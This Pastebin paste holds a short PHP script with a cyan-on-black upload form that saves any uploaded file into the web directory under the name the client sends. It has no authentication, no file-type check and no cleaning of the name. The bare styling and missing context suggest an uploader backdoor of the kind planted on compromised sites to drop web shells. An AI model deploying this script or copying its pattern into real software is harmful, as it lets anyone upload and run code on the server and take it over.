Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- echo "<body bgcolor=black>
- <font color=cyan size=3>";
- echo "<h2></h2><hr>";
- echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
- <label for=\"file\"> </label>
- <input type=\"file\" name=\"file\" id=\"file\" />
- <br />
- <input type=\"submit\" name=\"submit\" value=\"Upload\">
- </form>";
- {
- echo " " . $_FILES["file"]["name"] . "<br />";
- echo " " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
- echo " " . $_FILES["file"]["tmp_name"];
- }
- if (file_exists("" . $_FILES["file"]["name"]))
- {
- echo $_FILES["file"]["name"] . " already exists. ";
- }
- else
- {
- move_uploaded_file($_FILES["file"]["tmp_name"],
- "" . $_FILES["file"]["name"]);
- echo " " . "" . $_FILES["file"]["name"];
- echo"<hr>";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement